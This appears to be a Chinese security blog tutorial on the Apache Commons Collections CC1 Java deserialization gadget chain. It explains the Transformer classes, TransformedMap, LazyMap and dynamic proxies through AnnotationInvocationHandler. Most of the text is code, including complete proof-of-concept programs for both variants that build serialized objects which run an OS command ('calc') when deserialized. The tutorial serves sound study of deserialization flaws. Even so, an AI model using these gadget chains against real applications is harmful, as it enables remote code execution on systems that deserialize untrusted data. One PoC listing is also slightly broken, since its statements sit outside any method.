0x00 Transformer
学习cc链,首先得学习几个接口和类。
0x00 Transformer
首先是Transformer
,它是一个接口,它的代码很简单,只有一个待实现的方法transform(Object var1)
,方法transform()
类似于一个回调方法。接下来要说的几个类中的 ConstantTransformer
,invokerTransformer
,ChainedTransformer
都实现了Transformer接口。
public interface Transformer {
Object transform(Object var1);
}
0x01 ConstantTransformer
ConstantTransformer
的构造方法如下,传入一个对象,然后将其赋值给this.iConstant
。
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
而ConstantTransformer
实现的transform()
方法又将上述传入的对象给返回,可以理解为用于保存一个对象,在需要时将其返回。
public Object transform(Object input) {
return this.iConstant;
}
0x02 invokerTransformer
invokerTransformer
,看名字可以联想到之前学习的Java反射中的invoke()
方法,可以用来执行任意方法。
invokerTransformer
的构造方法如下,传入三个参数,第一个参数为方法名,第二个参数为参数类型,第三个参数为执行的方法所需的参数。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
在它实现的transform()
方法中,传入了一个对象input
,然后根据上述传入的三个参数来进行方法的调用,执行了input
对象的iMethodName
方法,参数为iArgs
。
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
0x03 ChainedTransformer
ChainedTransformer
类的构造函数如下,传入一个Transformer[]
。
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
而他实现的transform()
如下,遍历调用了上面传入的Transformer[]
数组中的对象的transform()
方法,并且方法的参数为上一个调用transform()
方法的返回值。
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
0x04 TransformedMap
TransformedMap
的构造方法是protected
属性的,不能直接调用。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
所以它有一个专门的方法decorate()
用来创建一个TransformedMap
对象。这里的keyTransformer
是处理新元素的Key
的回调,valueTransformer
是处理新元素的value
的回调。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
来看看他的处理的回调,调用transformKey()
方法时会调用this.keyTransformer.transform(object)
。调用transformValue()
方法时会调用this.valueTransformer.transform(object)
。
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
而要怎么才能调用上述两个方法呢,在进行元素的添加调用put()
时就会调用上述两个方法,也就是说Java中的标准数据结构Map
在被TransformedMap
修饰后,如果添加新元素,就会调用上述两个方法从而执行实现了Transformer
接口的类的transform()
方法。
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
0x01 小demo
学习了上述几个类的基础知识之后,使用p神的一段CommonCollections1
利用链简化版demo代码来学习一下这几个类的利用。代码如下,其中calc
是我们要执行的命令。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[] {"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
先是创建了一个Transformer
数组,第一个内容为ConstantTransformer
对象,参数为Runtime.getRuntime()
,第二个内容为InvokerTransformer
,参数为exec
方法及其所需参数。
然后创建了一个ChainedTransformer
对象,参数为transformers
。
随后定义了一个Map
类型的变量innerMap
,随后使用TransformedMap.decorate()
对其进行修饰,第三个参数valueTransformer
为上面定义的ChainedTransformer
对象。
由于该Map
被TransformedMap
修饰过了,且valueTransformer
不为null,当他添加数据时,就会调用他的transform
方法,而ChainedTransformer
的transform
方法,就是遍历调用他Transformer[]
数组中的对象的transform()
方法,并且方法的参数为上一个调用transform()
方法的返回值。
而我们知道,传入的Transformer[]
数组第一个内容是ConstantTransformer
对象,会返回一个Runtime.getRuntime()
对象,然后将其作为参数,调用第二个内容InvokerTransformer
对象的transform()
方法,调用Runtime.getRuntime()
对象的exec
方法,参数为我们决定的calc
,就造成了命令执行,弹出了计算器。
0x02 CommonCollections1
0x00 环境
jdk版本:jdk8u40
0x01 TransformedMap 利用链分析
有了上面那个demo的基础之后,来分析CommonCollections1
利用链的利用就简单一些了。
漏洞的出发点在sun.reflect.annotation.AnnotationInvocationHandler
类中,先来查看它的readObject()
方法,利用IDEA反编译出的代码如下,当他调用了getValue()
时会触发被TransformedMap
修饰过的map
,然后调用ChainedTransformer
的transform
方法,从而rce。
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if (var7 != null) {
Object var8 = var5.getValue();
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
首先先来获取一个Transformer[]
数组,来构建Runtime
的命令调用。在之前的反射学习中可以得知,java.lang.Runtime
类没有实现Serializable
接口,不能直接将其序列化,我们需要使用反射来获取到当前上下文中的Runtime
对象。
由于在上面的demo代码中没有对其进行序列化,所以我们可以直接写为
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[] {"calc"}),
};
但是在利用链中,显然是不可以这么写的,需要通过反射来获取,代码如下
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc");
在ChainedTransformer
的transform
方法中,上一个transform()
方法调用的返回值为下一个调用方法的参数,所以改写为:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Object[0]},
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]},
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}),
};
接下来来构造AnnotationInvocationHandler
类的对象,由于它是JDK内部的类,不能直接实例化,所以同样也是通过反射来获取。获取构造方法后,传入参数,其中的第二个参数就是前面构造的Map
。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
随后将数据进行序列化,又将其反序列化进行验证。
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
命令执行成功。
完整的POC代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}
需要注意的是,在AnnotationInvocationHandler
的readObject()
方法中,存在一个判断if (var7 != null)
,当满足条件时才会调用setValue
方法,那么这个var7
是怎么来的呢。
可以看到,Class var7 = (Class)var3.get(var6)
,
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
通过调试可以看到,此时的var3
是一个Map
类型的变量,它的值为value -> {Class@638} "class java.lang.annotation.RetentionPolicy"
,var5
是我们构建的Map
中传入的键值对,var6
也就是这个键值对中的键了,想要var7
不为null,那么var3.get(var6);
就得有返回值,也就是说我们传入的键值对中的键得为value
才能满足条件。
满足条件后,调用setValue()
,在里面调用了parent.checkSetValue(value)
,
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
那么这里的parent
是谁呢,可以通过调试发现他的parent
是TransformedMap
,从上面的分析可知TransformedMap
的checkSetValue()
会调用ConstantTransformer
对象的transform()
方法,从而rce。
0x02 LazyMap 利用链分析
动态代理
Java中的代理,在理解上,与网络代理类似,当对象执行方法时,正常情况下是由对象去执行,在动态代理中是交由proxy
去进行处理并执行。
代码的实现的话是java.lang.reflect.Proxy
类与java.lang.reflect.InvocationHandler
接口。
java.lang.reflect.InvocationHandler
接口是这样的,只有一个invoke
方法,在代理实例中调用方法时,就会进入invoke
方法中进行处理。
package java.lang.reflect;
public interface InvocationHandler {
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable;
}
例如,下面是一个实现了InvocationHandler
接口的类,对Map
进行处理,在invoke
方法处理中,当调用的方法名为put
时,输出方法名,将插入的键值对中的值改为invoke
然后进行插入,其他方法则不进行处理直接调用。
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().compareTo("put") == 0) {
System.out.println("method: " + method.getName());
args[1] = "invoke";
return method.invoke(this.map, args);
}
return method.invoke(this.map, args);
}
}
进行调用的类如下,创建了一个ExampleInvocationHandler
对象,然后创建一个Proxy
对象,调用put
插入键值对hello:world
,然后通过代理调用proxyMap.get("hello")
,返回结果是我们已经修改过的invoke
而不是之前插入的world
。
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class TestMain {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
proxyMap.put("hello", "world");
String result = (String) proxyMap.get("hello");
System.out.println("hello " + result);
}
}
这里的Proxy.newProxyInstance
方法有三个参数,第一个参数为定义代理类的类加载器ClassLoader
,第二个参数为要进行代理的对象集合, 第三个参数为实现了InvocationHandler
接口的对象,用于对要进行代理的对象进行代理处理,也就是我们上面的ExampleInvocationHandler
。
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
分析
LazyMap
的利用链与LazyMap
类似,先在LazyMap
的方法中找一个可控的调用了transform
方法的地方,只有一处get()
方法调用了transform
,在get找不到值的时候,它会调用factory.transform
方法去获取一个值,那么如果AnnotationInvocationHandler
中readObject
中存在被修饰过的Map
调用了get
的话就顺理成章了。
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
但是在这里的readObject
中,确实存在一处get
方法的调用,但是并不是我们构造的被修饰过的Map
对象,找一下其他地方是否还存在get
方法的调用。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
很快,在AnnotationInvocationHandler
的invoke
方法中也存在对get
方法的调用memberValues.get(member)
,那么memberValues
是否可控呢。
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
来看他的构造方法,this.memberValues = memberValues
,完全可控。
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
而且正好AnnotationInvocationHandler
类实现了InvocationHandler
接口,而且我们正好想要调用invoke
方法,那么就正好使用动态代理来执行该方法了。
LazyMap
与TransformedMap
类似,也是使用方法decorate
来创建一个对象,第一个参数为要修饰的Map
,第二个参数就为实现了接口Transformer
的类,在这里就是我们构造的ChainedTransformer
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
于是就有
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
然后对AnnotationInvocationHandler
的对象进行代理
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
有了代理对象,要想使用其进行代理,就得再次使用InvocationHandler
将其包装一次,这样的话在对Map
进行方法调用的话就变为了使用proxyMap
来进行调用,代理调用时又调用了AnnotationInvocationHandler
的invoke
方法,接着调用memberValues.get(member)
,接下来就是调用ChainedTransformer
的transform
方法,随后rce。也就是说无论我们调用Map
的那个方法都会触发命令执行。
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = ois.readObject();
}
}
[完]
Comments | NOTHING